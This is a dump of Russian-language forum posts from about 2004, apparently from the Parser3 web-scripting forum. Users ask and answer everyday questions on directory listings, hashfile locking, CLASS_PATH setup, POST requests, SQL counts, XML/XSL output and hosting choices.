"29840","нашел решение...но мне не нравится...может, есть и лучше?\
пример ниже: строит \"почти дерево\" каталогов. почти - потому что без \"полосок\" - не знаю, как их нарисовать :( \
\
@prova[name]\
$result(-d $name)\
\
@treet[pat][tree_t;tree_t1;loc;tt]\
$loc[$pat]\
$tree_t[^file:list[$loc]]\
$tree_t1[^tree_t.select(^prova[${loc}$tree_t.name])]\
^if(def $tree_t1){\
<table>\
	^tree_t1.menu{\
		<tr>\
		<td width=\"25\">&nbsp</td>\
		<td>\
		$tree_t1.name\
		$tt[$tree_t1.name]\
		^treet[${loc}${tt}/]\
		</td>\
		</tr>\
	}\
</table>\
}\
почему-то в методе select не срабатывает объединение строк ${loc}$tree_t.name, поэтому проверку пришлось вынести в отдельную процедурку..."
"29841","[code]$dir[^file:list[путь]]\
^dir.menu{\
^if(-d \"$dir.name\"){\
#   Тут ваш  код \
# типа \
$dir.name - директория\
}[<BR>]\
[/code]\
А вообще доку читать надо"
"29842","во первых автор и использовал -d\
во вторых ^file:list[] возвращает имена файлов/директорий, я не полные пути к ним..."
"29843","Есть текстовый файл, в нем - ключевые слова для <meta name=\"keywords\"> (1-2 на каждой строчке). Хотелось бы делать random, выбирая ключевые слова, расставляя запятые между ними, но так, чтобы длина строки была не больше, сколько там, 2000 символов.. Никто такое не писал? Как длину строки в цикле мерить, да \"накидывать\" еще два символа на \" ,\"?"
"29844","Возможна ли ситуация когда, два и более процессов одновременно будут читать/суммировать/изменять данные одного поля.\
\
Я хочу использовать hashfile для лимитирования неудачных входов за единицу времени\
\
Хеш будет примерно такой структуры (может другой ещё с алгоритмом до конца не определился)\
\
$hashfile[\
  $.user_id_dt_start[]\
  $.user_id_dt_end[]\
  $.user_id_count[]\
]\
\
Вопрос в следующем будет ли корректно прибавляться единица к текущему значению в поле $.user_id_count[], если этим будет заниматься несколько процессов одновременно.\
\
\
Зы: Като сумбурно изложил, но должно быть поятно."
"29845","Слушай, может поможешь переделать скрипт:\
\
^connect[$connect_string]{\
$items[^table::sql{select uid from baskets}]\
   ^if($items){\
     ^items.menu{\
<a href=\"/details/?uid=$items.uid\">$items.uid</a><br>\
}{нет ничего}\
}\
\
чтобы он не выводил повторные uid!?"
"29848","Если есть у кого, шлите предложения мылом.\
Вопросы про то сколько бабла готов отвалить, тоже мылом.\
\
Извиняюсь, если offtopic."
"29850","Можно ли вызвать функцию название которой является переменной, чтобы не прописывать условие вызова каждой.\
\
например если есть \
\
@funk[]\
<<<нечто>>>\
\
но напрямую написать ^funk[] я не могу. \
\
Я хочу найти замену:\
[code]\
 ^switch[$funk]{\
   ^case[funk1]{^funk1[]}\
   ^case[funk2]{^funk2[]}\
   }\
[/code]\
\
Извеняюсь если вопрос глупый..."
"29853","Глубокомысленные замечания лучше тоже мылом."
"29854","Спасибо. Но помоему я так уже пробовал не получилось."
"29855","Так работает:\
$text[^text.match[(\\[([q])\\])(.+?)\\[\\/\\2\\]][gi]{<i>$match.3</i>}]\
Так уже не работает:\
$text[^text.match[(\\[([aq])\\])(.+?)\\[\\/\\2\\]][gi]{<i>$match.3</i>}]\
\
Почему ?\
\
\
Я только начинаю изучать рег выр посоветуйте где есть хорошие материалы с примерами на русском."
"29856","самореклама http://www.spearance.ru/parser3/regex/\
\
Выражение верно. Оно сработает для таких текстов:\
\
[a]text[/a]\
[q]text[/q]\
\
для [aq]text[/aq] оно работать не будет."
"29857","Добрый день!\
Сразу скажу - я искал в форуме и в faq_list, но ничего чтобы помогло не нашел.\
\
Что не получается:\
на страничке message.html включаю свой класс и в лог пишется:\
/forum/message.html: '<html>' not found along MAIN:CLASS_PATH\
\
Как-же так ?\
В auto.p определена таблица CLASS_PATH:\
[code]\
   $CLASS_PATH[^table::create{\
/classes\
}]\
[/code]\
на страничке message.html после имени подключаемого класса пробелов нет.\
А лежит все так (использую apache):\
cgi-bin - parser3\
/htdocs/\
       |\
       |  \
        \\ auto.p\
       |\
       |\
        \\ classes/forum.p\
       |\
       |\
        \\ forum/message.html (в нем [code]@USE\
                                           forum.p [/code]\
\
В документации читаем:\
     ...если используется относительный путь, то парсер\
        ищет требуемый класс по путям, указанных в таблице      CLASS_PATH относительно htdocs\
\
И еще сбивает с толку странное сообщение в логах:\
не могу найти файл 'html'\
\
Где я ошибаюсь?\
Заранее благодарен.\
Виталий."
"29858","и отвечаем на вопросы:\
1. какой тип и структуру может иметь переменная CLASS_PATH?\
2. где должна определяться переменная CLASS_PATH?\
\
теперь сравниваем с тем, что у вас.\
\
и попробуйте максимально упростить ваш message.html и привести его код целиком."
"29859","1. может быть либо переменной (классы лежат в одном месте)\
   либо таблицей (классы разнесены по разным каталогам)\
2. в конфигурационном файле. Изначально дан пример файла -    auto.p.dist, его я переименовал в auto.p (т.к. апач должен его скормить парсеру - я правильно понимаю?) и положил в cgi-bin - т.к. парсер у меня собран как cgi-скрипт, согласно документации конфигурационный файл ищется в том-же каталоге.\
\
А у меня:\
     Да, переменная была таблицей - ошибка 1-ая --->>>> определил как простую переменную (т.к. путь у меня один) [code]$CLASS_PATH[/classes][/code]\
\
     Конфигурационный файл поместил в htdocs - парсер не мог его найти - 2-ая ошибка ---->>>>> переместил auto,p в cgi-bin/\
\
Пробую снова... и получаю в логах:\
/forum/message.html: '<html>' not found along MAIN:CLASS_PATH [parser.runtime]\
\
Не отсылайте, пожалуйста, к документации --- я действительно хочу разобраться, а живое общение всегда лучше :)"
"29860","Вот решил поинтересоваться, что же такое Парсер, всем известной Студии... Разочарован крайне... \
Почему? Да потому, что не могу сразу понять - есть возможность отделить программный код от HTML или нету? Если нету, тогда мне уж Парсер точно не нужен и друзьям советовать не буду. Врагам разве что... :)\
Ребята, скажите, я смогу реализовать на парсере движок шаблонов или нет? И еще, есть ли в нем, в Парсере, встроенный язык регулярных выражений?\
\
Заранее спасибо."
"29862","[code]\
@USE\
forum.p\
\
<html>\
  <head>\
  <title>Add new message</title>\
\
	\
	<form action=\"/forum/message.html\" name=\"message\"  method=\"POST\" onSubmit=\"verifyData()\">\
\
	    Name<input type=\"text\" name=\"name\">\
	    E-mail<input type=\"text\" name=\"email\">\
	    <br>\
	    Theme:<input type=\"text\" name=\"theme\">\
	    <br>\
	    Text:<br><textarea name=\"text\" rows=\"17\" cols=\"50\"></textarea>\
	    <br>\
\
	    <input type=\"submit\" name=\"go_button\" value=\"Post message\">\
	</form>\
  </body>\
</html>\
[/code]"
"29863","FAQ и документацию хоть одним глазком видели или Рабинович напел?"
"29864","Иначе весь текст файла считается содержимым @USE\
Парсеру надо дать понять, где ж этот @USE кончается."
"29865","Код: \
[code]$cmsserver[http://server.ru/index.p3] \
$test[^file::load[text;$server;$.method[POST] $.body[Привет] $.any-status(1) $.headers[$.User-Agent[parser3]] ]][/code]\
под Win32 выполняется хорошо, под FreeBSD выдает ошибку:\
\"invalid option passed\""
"29866","ответы на вопросы в порядке следования (заранее пожалуйста)\
\
1. возможность отделить код от html есть\
2. вы написать \"движок шаблонов\" не сможете (для этого нужно как минимум читать документацию, чего вы не делаете)\
3. работа с регулярными выражениями в парсере есть"
"29868","[code]\
$t[^table::create{name\
a\
b\
c}]\
[/code]\
\
и\
\
[code]\
$t[^table::create{title\
a\
b\
c}]\
[/code]\
\
я привел одинаковые таблицы или разные? посмотрите как у вас была описана таблица с CLASS_PATH и как этого требует дока?\
\
но это к слову... о причинах вашей ошибки вам сообщил [url=\"/forum/?id=29864\"]Костя[/url]"
"29870","Чтение документации сопряжено с загрузкой (по диалапу муторно это), затратами по времени на чтение и т.п. И всё это заметьте ради того, чтобы выяснить пару-тройку вопросов, касающихся относительно того, собственно, а стоит ли вообще заниматься изучением данной документации и технологии. Поэтому, собственно, и спросил в форум. Иначе для чего он нужен? :)\
\
Спасибо за удовлетворённое любопытство. Одного я так и не понял - отделить код можно, а написать \"движок шаблонов\" - нельзя. Мы, наверное, друг друга не понимаем. Ну да ладно - всё равно спасибо за ответ."
"29873","Прочить FAQ на диалапе дешевле, чем спрашивать в форуме, ибо\
[code]HEAD /faq/general/ HTTP/1.1           \
host: www.parser.ru\
\
HTTP/1.1 200 OK\
Date: Thu, 27 May 2004 15:05:20 GMT\
Server: Apache/1.3.27 (Unix) rus/PL30.16\
[color=\"red\"]content-length: 10834[/color]\
Connection: close\
Content-Type: text/html; charset=WINDOWS-1251[/code]\
а\
[code]HEAD /forum/ HTTP/1.1\
host: www.parser.ru\
\
HTTP/1.1 200 OK\
Date: Thu, 27 May 2004 15:05:43 GMT\
Server: Apache/1.3.27 (Unix) rus/PL30.16\
cache-control: no-cache, must-revalidate\
expires: Fri, 23 Mar 2001 09:32:23 GMT\
pragma: no-cache\
[color=\"red\"]content-length: 29938[/color]\
Connection: close\
Content-Type: text/html; charset=WINDOWS-1251[/code]\
\
итого: почти в 3 раза дешевле."
"29874","Весит 398кб."
"29875","Звучит как вызов :) Но я не поддаюсь на провокации. Вывод, однако, в таком случае прост - если это так сложно, то проще уж писать \"свой\" парсер либо использовать PHP или Perl, например, не изобретая \"велосипед\"...\
\
Эх, да ладно, не сочтите за грубость или \"наезд\" на Вашу технологию, просто хотелось понять могу ли я её использовать для решения своих задач. Всем спасибо."
"29876","Спасибо, получилось!!!"
"29877","А можно ли пояснить подробнее, как это сделано? Если возможно с примерами."
"29879","уверены? - да!\
что такое $.body[Привет]? - пост на сервер, который сервер  должен разобрать и потом отдать ответ..."
"29880","вам точно не хватает этого:\
[code]\
$.forms[\
   $.поле[значение]\
   $.поле[$таблица_значений]\
   …\
]\
[/code]\
\
?"
"29881","В конфигурационный файл вставляется строка следующего вида:\
|Бла-бла-бла <a href=adress.html>ссылка</a> тра-ля-ля.|\
\
В браузере видим такую картину:\
|Бла-бла-бла <a href=adress.html>ссылка</a> тра-ля-ля.|\
\
Смотрим код:\
|Бла-бла-бла &lt;a href=adress.html&gt;История и статистика&lt;/a&gt; тра-ля-ля.|...\
\
Подскажите пжалста как заставить Parser не переводить угловые скобки в такой вид."
"29883","Такой вариант не работает ни в Win32 ни в FreeBSD  :( \
[code]$test[^file::load[text;$server;$.method[POST] $.forms[$.body[Привет]]  $.any-status(1) $.headers[$.User-Agent[parser3]] ]][/code]"
"29884","Может я невнимательно читаю, но не смог найти ответ ни в факе, ни в форуме, ни в документации... Если вам не трудно, ответьте на вопрос, или дайте ссылку на страницу с ответом...\
Заранее спасибо..."
"29886","попробуйте изменить слово forms на form:\
\
[code]\
$server[http://www.parser.ru/forum/]\
$test[^file::load[text;$server;\
	$.method[POST]\
	$.form[$.id[29883]]\
	$.any-status(1)\
	$.headers[\
		$.User-Agent[parser3]\
	]\
]]\
\
$test.text\
[/code]\
\
у меня работает (w32, 3.1.2)\
\
P.S. TODO - это то, что еще [b]предстоит[/b] сделать :)"
"29888","Да здравствует \
[code]\
^if(^form:id.int(0) > 0){\
\
}{\
  Хакеры-фигакеры\
}\
[/code]\
!!!"
"29890","а когда надо просто копирую с подходящих примеров...\
\
но ничего, когда нибудь и до XML доберусь... разделять код почти научился...\
в оформительских не бывает уже SELECT, в генераторах данных не бывает тегов..."
"29891","Думаешь студия парсером пользуется? Фигушки, они давно на .NET и C# перешли а нам тут мозги пудрят, чтобы мы все время в хвосте плелись. Я вон уже потихоньку начинаю на C# перелазить. Такие дела."
"29892","[quote]Если вы не знаете, с какого IP-адреса ваш сервер отправляет запросы, обратитесь из скрипта по адресу http://copi.ru/help/click/programmer/ip, эта страница вернет IP запрашивающей стороны.\
(c)  http://copi.ru/help/click/programmer\
[/quote]\
[code]\
$file[^file::load[text;http://copi.ru/help/click/programmer/ip/]]\
$file.text\
[/code]\
\
Выдаёт мой IP адрес, но я запускаю указанный код не с локалхоста, а с настоящего хостинга... разве это правильно?"
"29893","изменить только имя(не трогая расширение) сред-ми PARSER-2 никак, только через регулярки или порезав его split`ом ?"
"29894","Блииииииин, вот я стормозил... Фсё понятно, спасибо фсем..."
"29895","Приветствую всех! :)))\
Столкнулся с проблемой - с помощью методов класса image рисую круговую диаграмму, все удается, но вот края сегментов слишком \"жесткие\", пиксели торчат. :))) И это очень сильно портит впечатление... каким образом можно сгладить ее? Так скажем, включить antialiasing :)))"
"29896","чтоб работало для [....] XXXX [/....] или такое не возможно ?\
Напиши как оно должно выглядеть например для [ab]asas[/ab] чтоб я мог сравнить."
"29900","Попробуй записать в большом разрешении, затем ImageMagickом пройтись :-))"
"29901","А его можно вызывать из под парсера?"
"29903","вы за помощью пришли, или плакать?"
"29906","нужно изучить на одинаковую разумную глубину все доступные варианты,\
после чего подумать,\
после чего решить.\
\
задаваемые вами вопросы слишком поверхностны.\
и ответ на них один: Parser активно использует Студия в своих проектах. \
вам это ни о чём не говорит?"
"29909","Я написал простенький код который в цыкле (100000), записывал в hashfile 'имеющееся значение' + 1\
При последовательном запуске следующего скрипта, но вто время пока работает предыдуший очень часто значения побучались не круглые скажем 562493 (точно непомню)\
При последовательном запуске после окончания работы скрипта получались круглые значения скажем 700000\
\
Собственно вопрос: Почему?\
\
ps: Скорость впечатляет, в десятки раз быстрее MySQL (Субъективно)"
"29910","Есть слудующий запрос:\
\
^context[inner; ^sql[SELECT * FROM imgfiles WHERE imgfiles.part = 49 ORDER BY RAND() LIMIT 1000] ] ] \
^context[inner; ^menu[					\
....\
\
Подскажите как сделать чтобы выводилось n значений а не все?\
Спасибо"
"29911","одно действие с hashfile защищено от параллельных потоков выполнения.\
однако же вы делаете [b]два[/b] действия.\
\
варианты:\
\
1.\
описываемая ситуация аналогична\
http://www.parser.ru/examples/counter/\
и можно поступить так же.\
\
2.\
но можно использовать такой трюк:\
[code]\
$hashfile.dummy[1]\
$hashfile.myvalue($hashfile.myvalue+1)\
[/code]\
\
при этом запись dummy приведёт к блокировке хешфайла на запись [b]до конца обработки запроса[/b].\
\
соответственно, параллельный запрос за запись будет заблокирован [b]до[/b] считывания значения myvalue."
"29912","Может имеет смысл внести эту информацыю в документацыю."
"29913","и сразу вопрос: а зачем выбирать 1000 значений, чтоб потом выбрать n из них?\
не проще сразу нормально делать?\
а вообще - все в доке описано, причем довольно подробно.\
так что RTFM"
"29916","В классе file есть ^file:lock[имя файла-блокировки]{код}\
В классе hashfile ничего подобного нет, и ненадо, а пример который вы показали наверное не для документации.\
\
зы: Поиск по форуму рулит :)"
"29917","Оба файла можно залочить"
"29918","нужно блокировать отдельный файл-флажок.\
посмотрите http://www.parser.ru/examples/counter/ внимательнее."
"29919","Есть несколько клиентов, в данный момент разбросаны по разным хостинг-провайдерам. А хочется приобрести один раслеровский план и предоставлять всем своим клиентам хостинг через себя (и дешевле и удобнее). Но никак не могу найти подходящий, может посоветуете что-нибудь похожее?\
\
[b]Нужно:[/b]\
+ раслеровская панель\
+ неограниченное кол-во доменов 2-ого уровня\
+ неограниченное кол-во пользователей, адресов эл. почты/листов рассылок и т.д.\
+ mysql\
+ postgresql (важно!)\
\
По моему ничего не забыл ;) Есть ли вообще подобный хостинг? Или посоветуете Virtual сервер брать или как они там его называют, а может что ещё посоветуете?"
"29920","покупаете сервер, ставите в стойку хостера...\
этим многие хостеры занимаются.\
опять же, надоел хостер или нащелся лучше - сервер берется подмышку и на новую площадку..."
"29921","Мы недавно делали продукцию для фирмы Арбатек http://www.arbatek.ru/ - они предлагают нечто похожее. Попробуйте"
"29923","http://rusonyx.ru\
Дороже чем на http://arbatek.ru/, но тоже вариант"
"29924","могу даже показать в действии сколько денег дашь ? :))"
"29925","хотя самый лучший вариант с точки зрения гибкости и возможностей."
"29927","Код (p2):\
[code]\
||^eval[(39.30*100)]||\
||^eval[(31.30*100)]||\
[/code]\
Результат: \
||3929|| ||3130||\
Вопрос: а почему в первом случае 3929, а не 3930 ???"
"29932","Интересует FreeBSD..."
"29933","Всем откликнувшимся ответил. Пришло реальных два варианта из коих один на втором (sic!) Парсере. Такие дела. В понедельник подводим итоги. Написавших благодарю за участие."
"29938","А ты сам пользуешься их услугами? Как супорт?"
"29940","Так, что будет дороговато!\
\
Может стоит начинать уж с аренды сервера?"
"29945","Для параноиков я собрал и 3.1.3 драйверы :)"
"29947","Имеем структуру:\
1. Анекдоты\
   1.1 пошлые\
   1.2 не пошлые\
2. Истории\
   2.1 обычные\
   2.3 эротические\
3. И так далее... 3.1/3.2/3.2\
\
Имеем файл где храним это в таблице:\
item_id   parent_id   name   uri\
1         0           Анекдоты   /?id=anecdots\
2         1           Пошлые     /poshalya.html\
3         1           Не пошлые  /neposhalya.html\
4         0           Истории    /?id=istoryy\
5         2           Обычные    /obychnyy.html\
6         2           Эротичные  /eroti.hmtl           \
\
Как я хочу что бы это заработало (скрытие неактивных разделов)?\
1. Анекдоты\
   1.1 пошлые\
   1.2 не пошлые\
2. Истории\
3. И так далее... \
\
Что я писал для этого? (все неправильно выводится!!!)\
\
$songs[^table::load[./songslist.txt]]\
\
   ^songs.menu{\
      ^chapters_onthescreen[]\
   }\
\
@chapters_onthescreen[]\
\
^if($songs.parent_id eq \"0\"){\
<a href=\"./\"><nobr>$songs.name</nobr><br></a>\
\
   ^songs.menu{\
      ^songs_onthescreen[]\
   }\
}\
\
@songs_onthescreen[]\
\
^if(\"$songs.uri\" eq $request:uri){\
   <nobr>$songs.name</nobr><br>\
}{\
\
^if($songs.parent_id eq \"??????чего здесь???????\"){\
   <a href=\"./$songs.uri\"><nobr>$songs.name</nobr></a><br>\
}\
}\
\
По чьему руководству я это делал?\
http://www.parser.ru/forum/?id=23348\
\
Примерно чего я хочу как всегда здесь:\
http://www.alfabank-express.ru/remoteaccess/atm/\
\
Реализация должна быть на таблице из файлика.\
\
Лучше пример, готовый, \
если нет, то алгоритм,\
какое menu из какого вызывать и что с чем сравнивать,\
лучше с указанием используемый выражений.\
\
p.s. древовидные стр-ры не предлагать\
p.s. поиск по форуму предлагать (с указанием \"кл. слов\") а лучше сразу ссылок, т.к. по \"меню\" не ищется... слишком много."
"29951","Пока никто не отвечат, я тут подумал, что может проще все это на JavaScript забацать, тем более готовый есть. И для индекции будет больше страниц с одной и той же меню -> больше слов -> больший их вес. (просто пользователю их не видно сразу)."
"29952","как ?"
"29953","Ищите PostGreSQL\
на странице http://arbatek.ru/vps/master/"
"29954","Ничего жить можно, есть мёртвый час (приблизительно 19 до 20) когда к трубе никто неподходит.\
Решают вопросы в основном общего характера. Днём супорт существенно качественне чем ночью.\
Парсер.cgi работает великолепно.\
Есть некоторые недоработки в управлении (Например виртуального почтового пользователя делал реальным, напрямую поменять статус нельзя, при удалении виртуального пользователя его файлы остаются - приходистя удалять вручную)\
При работе с почтой есть такое неудобство OpenWebmail ведёт свои папки (отправленные, черновики,...), а программы например Outlook Expres свои\
\
Ещё недостаток, а может преимущество там стоит второй апач 2.46 если память неизменяет (меня это несколько напрягает), на него нельзя поставить парсер в качестве модуля\
\
зы: Надо признать, мои руки для системного администрирования незаточены, возможно я ещё что-то нашёл бы или незаметил ;)\
\
ззы: В целом мне нравится"
"29956","На англоязычном форуме рядом с кнопкой Enter видим Registrer (вместо ожидаемого Register). Аналогично в шапке формы регистрации. Это очепятка или я английского не знаю? :-)"
"29957","http://www.hiermenuscentral.com/"
"29959","Parser 3.1.2 FreeBSD\
\
Пытаюсь обратиться \
$test[^file::load[text;$server;\
	$.method[POST]\
	$.form[$.id[342]]\
	$.any-status(1)\
	$.headers[\
		$.User-Agent[parser3]\
	]\
]]\
$test.text\
\
Как поднималось парой дней раньше. \
Получаем стабильный 'load' invalid option passed [parser.runtime] и когда используем $.body и когда используем $.form\
\
Локально под Win.32 все работает.\
\
Помогите хоть намеком! Аналогичное обращение на php работает. \
\
GET запросы при этом проходят стабильно и на php и на parser'e"
"29969","Проблема такая: есть группа полей, которые будет юзер сам создавать через js. \
\
В таблице базы не хочется делать лишних ~10-50 полей и вечно тащить их за собой, поэтому все значения полей хочется держать в одной ячейке... \
\
Используя разделитель записывать в одну ячейку, но какой разделитель лучше использовать? Это числовые значения (пример: 20), а также дробные значения (16.4).. Что посоветуете в таком случае? А потом же извлекать из таблицы..\
\
Но самое главное - нужно вести поиск по данным! (например, по маске \"поля, где значение > 10\"... \
\
Так как записей будет много, хранение в файлах отпадает.. \
\
Как быть?"
"29970","судя по http://www.parser.ru/forum/?id=16489 похоже ПАФ решил, что это никому не нужно... все еще не нужно? или может сделал?\
\
а то я себе класс написал небольшой debug, там мне хорошо бы знать, кто вызывает метод..."
"29971","id parent_id info\
\
где id auto_increment\
parent_id = id первой записи из группы полей\
info нежелательно BLOB или TEXT\
\
Как это использовать и как с этим бороться см. в примерах в древовидных структурах"
"29972","если по некоторым полям поиск не нужен, то текстовое поле, а в нм - xml с данными."
"29973","Ощущение, что местами переводили prompt'ом"
"29975","- это поиск в базе не замедлит сильно?\
- это размер базы не увеличит?\
\
Пример, что я хочу, чтобы лучше понять, о чем я: база с возрастом детей. Скажем, если у родителей пятеро детей, то 5 колонок, пятая будет использоваться  только в  0.1% случаев, 4 колонка - в, скажем 2% случаев... и т.д."
"29979","Структура:\
[code]\
id        parent_id         value\
1         1                 30 \
2         1                 50\
3         2                 12.6\
4         3                 10 \
5         3                 11\
6         3                 8\
7         4                 19\
[/code]\
\
Хочется знать, сколько значений будет для одного parent_id\
Делать так?\
\
$colvo[^hash::sql{\
	SELECT\
		COUNT(value) AS shtuk,\
	FROM\
		mytable\
	WHERE \
		parent_id = '$parent'\
\
\
}]\
\
Или может как это в метод организовать.. ?"
"29980","[code]\
@GetColvo[parent]\
  ^if(^parent.int(0) > 0){\
    $result[\
      ^MAIN:pSQL.sql[int]{\
        SELECT 	COUNT(*)\
        FROM 	mytable\
        WHERE	parent_id = ^parent.int(0)\
      }\
    ]\
  }{\
    $result[0]\
  }\
[/code]\
И в нужном месте вставляешь типа ^GetColvo[$form:id]\
А как делают отцы - х.з..."
"29981","Вообще вы привели правильный пример, только вместо COUNT(value) лучьше использовать COUNT(*). При таком использовании затрачивается меньше ресурсов.\
\
А можно вот так: более замороченый способ\
[code]\
@getStat[parent_id]\
$result[^table::sql{\
SELECT\
   COUNT(*) as count\
FROM\
   mytable\
^if(^parent_id.int(0)){\
   WHERE parent_id = $parent_id\
}\
GROUP BY\
   parent_id\
}]\
[/code]"
"29982","[code]\
$colvo[^hash::sql{\
SELECT\
   parent_id,\
   COUNT(*) as cnt\
FROM\
   mytable\
GROUP BY\
   parent_id\
}]\
[/code]\
\
и обращаться потом: $colvo.[$parent].cnt\
\
P.S. делать в menu запросы - ужасно\
P.P.S. индекс по parent_id очень даже не помешает"
"29983","Тот что есть совсем не полный и возникает очень много вопросов."
"29984","Или вы будете \"Книжка-типографская книжка, а как сделать ....\" спрашивать :)  \
Или ПАФ возьмёт и все ваши будущие вопросы предугадает, да ответ напишет :) ?"
"29985","Я имел ввиду книжку, что бы она состояла не из 6 уроков а гораздо больше с примерами форм, с FAQ и некоторым готовыми файлами.\
Недостаток форума в том, что что бы найти ответ нужно его перерыть, а после прашивать :((( не всегда это удобно. \
А некоторое даже спрашивать стыдно :("
"29988","XML:\
[code]\
<СправочныеДанные>\
 <Ссылка Название=\"Документ 1\" Путь=\"\\\\netserver\\СетеваяПапка\\Документ1.doc\" />\
 <Ссылка Название=\"Документ 2\" Путь=\"\\\\netserver\\ДругаяСетеваяПапка\\Документ2.doc\" />\
</СправочныеДанные>\
[/code]\
\
XSL:\
[code]\
<xsl:template match=\"СправочныеДанные\"> \
 <xsl:apply-templates select=\"//Ссылка\" />\
</xsl:template>\
\
<xsl:template match=\"Ссылка\"> \
 <div>\
  <a href=\"{@Путь}\"><xsl:value-of select=\"@Название\" /></a>\
 </div>\
</xsl:template>\
[/code]\
\
После обработки формируется следующий HTML:\
\
[code]\
<div>\
<a href=\"%5C%5Cnetserver%5C%D0%A1%D0%B5%D1%82%D0%B5%D0%B2%D0%B0%D1%8F%D0%9F%D0%B0%D0%BF%D0%BA%D0%B0%5C%D0%94%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%821.doc\">Документ 1</a>\
</div>\
[/code]\
\
Документ лежит на сервере в сети (сайт Интранет) и доступен для чтения.\
[b]Как правильно оформить ссылку на документ с русскими буквами ?[/b]"
"29989","увы, русские буквы нельзя передавать в get методе,\
и библиотека услужливо завернула их в UTF-8.\
\
красивого способа убрать не знаю.\
\
некрасивый: назвать атрибут не \"href\", а как-то иначе, потом заменить на \"href\".\
важно: не забудьте, что русские буквы всё же нехорошо в url, и подход для локальных ресурсов может и сгодится, а в общем виде: надо что-то и с uri сделать, в parser есть соответствующий механизм, см. ^taint[uri]...."
"29990","В общем, что. Есть XML. В нём нужно менять только одно поле -- дату, должна быть текущая. Остальное всё будет таким же постоянно.\
\
Дата там записана так:\
<config date=\"2004-04-30 14:13\">\
</config>\
\
Я гружу лоадом XML и body:response отдаю его же. \
Между этими двумя событиями мне нужно поменять дату :-) Как именно, я ни фига не понимаю.\
\
[code]\
$tmp[^doc.selectSingle[config]]\
^tmp.setAttribute[date;$mydate]\
[/code]\
- не работает. Помогите, а?"
"29992","Была мысль переименовать все в английской раскладке,\
но это было бы неудобно для сотрудников,\
использующих эти документы из \"Проводника\".\
\
Сделал немного по-другому.\
В каталог \\\\netserver\\folder\\ положил ссылок с английскими именами.\
\
XML:\
\
[code]\
<СправочныеДанные>\
 <Ссылка Название=\"Документ 1\" Путь=\"\\\\netserver\\folder\\doc1.lnk\" />\
 <Ссылка Название=\"Документ 2\" Путь=\"\\\\netserver\\folder\\doc2.lnk\" />\
</СправочныеДанные>\
[/code]\
\
XSL:\
\
[code]\
<a href=\"{@Путь}\" target=\"_blank\" title=\"Открыть документ в новом окне\">\
 <xsl:value-of select=\"@Название\" />\
</a>\
[/code]\
\
to PAF:\
По поводу неправильности URI полностью согласен, \
но в данном случае,\
это ресурс доступный только из локальной сети,\
поэтому думаю ничего страшного."
"29995","http://www.arbatek.ru/resellers/\
\
а на VPS сам решаешь что поддерживать, а что нет :)"
"29996","и будет всем щастье (ну может не всем, но тем кто думает и делает)"
"29997","Если будут найдены косяки в доке, просьба мылить на ramesses@yandex.ru\
\
Заранее благодарен"
"29998","Так собственно этот код и работает )\
$mydate -- обычная строка."
"29999","при условии что там будет расписано для самых тупых как научиться скриптовать на парсере и приведены не только куски готового кода, но и по каким алгоритмам должны работать те или иные функции...\
\
но мне кажется все это утопия, так же как и создание небольших курсов по парсеру :(("
"30000","Задача такая: на одной страничке выводить несколько таблиц одинакового формата, разделенных, например, <br> содержащих разный текст.\
\
В auto.p определил метод\
@tab[] \
<table>\
<tr><td>^zagol[]</td></tr>\
<tr><td>^txt[]</td></tr>\
</table>\
<br>\
\
Возможно ли из index.html вызывать таблицу дважды, определяя другие ^zagol[] и ^txt[] ???"
"30002","Правильно так:\
\
[code]@tab[zagolovok;text]\
<table>\
<tr><td>$zagolovok</td></tr>\
<tr><td>$text</td></tr>\
</table>\
<br />[/code]\
\
а потом вызывать:\
\
[code]^tab[Мой заголовок;Мой текст][/code]\
\
P.S. Читайте документацию. Вдумчиво."
"30003","[code]\
#Вызов метода tab на странице:\
Несколько таблиц:\
^tab[Первый заголовок;К нему текст]\
^tab[Второй заголовок;К нему еще текст]\
\
#сам метод tab, принимающий параметры\
@tab[zagol;text]\
<table>\
<tr><td>$zagol</td></tr>\
<tr><td>$txt</td></tr>\
</table>\
[/code]"
"30004","Ты был на две минуты раньше )"
"30006","http://www.bougakov.com/blog/friends/ - как ежедневная газета ;-)"
"30007","Тов. Deem написал тридцатитысячное сообщение на форуме..."
"30008","Я тоже готов купить такую книжку, если бы она была, АВТОРАМ - подумайте может стоит?\
А курсы почему утопия??? Если бы меня научили работать на 5 на Парсере, я мог бы предложить свою кандидатуру на проведение курсов по Парсеру :), начальные курсы готов вести бесплатно! Опыт и образование есть. \
Мне очень нравится парсер, но многое для меня в нём остаётся загадкой, уверен таких как я тысячи. И если авторы и хозяева, подкмают, то может стоит организовать пару тренинг-семинаров? А? Разработчики?"
"30009","1. Парсер.\
2. Парсер и SQL.\
3. Парсер и SQL и XML."
"30011","Собрал 3.1.3.\
Кому надо - забирайте (http://tomash.theatre.ru/parser3/)"
"30012","Друзья, компания решила попасть в Яндекс.Маркет.\
\
Для коннекта нужно формировать XML, к которому они будут обращаться. Формат они прислали. И пример тоже. И DTD. \
\
Проблема следующая. Взял я пример. Поправил как мне нужно, вставил код на парсере, который будет только дату менять (предложений у нас всего два, так что генерировать на лету XML мне показалось не совсем нужным).\
\
Однако в этом DTD проблема. Его НУЖНО прописывать в XML. Однако, когда он прописан, сервер (парсер?) выдаёт как бы уже обработанный этим DTD XML. Например, вместо\
<currency id=\"RUR\" rate=\"1\"/>\
он выдаёт\
<currency plus=\"0\" id=\"RUR\" rate=\"1\"/>\
...\
Вместо \
<category id=\"1\">Yo!</category>\
выдаёт\
<category parentId=\"0\" id=\"1\">Yo!</category>\
и так далее.\
У меня честно говоря крыша едет от этих непонятных автоматических преобразований. В исходном XML ничего подобного нет. А вот такие \"исправленные\" версии Маркет принимать отказывается ;-) Когда DTD убираешь из XML, всё естественно выдаётся as-is. Далее я уже начну рассказывать всё заново по кругу. Спасите-помогите."
"30013","Где можно найти инфу о том, как написать форум? Именно форум... =)) Если кто знает, может кинет ссылочку? Это мож и не по теме, но очень нужно"
"30014","Тоже хорошо!"
"30015","библиотеки MySQL приложены к пакету parser3.1.2 или их искать где-то отдельно?\
\
при попытке обратится к базе выдает:\
-------------\
dlcompat: dyld: parser3.cgi can't open library: /usr/local/lib/libdl.1.dylib  (No such file or directory, errno = 2)\
\
/Library/WebServer/CGI-Executables/lib/libparser3mysql.dylib\
--------------"
"30016","Не получается у меня преобразование XML-файла.\
\
Вот исходный XML-файл:\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<navigation>\
	<rubric>\
		<description>Рубрика 1</description>\
		<link>rub1</link>\
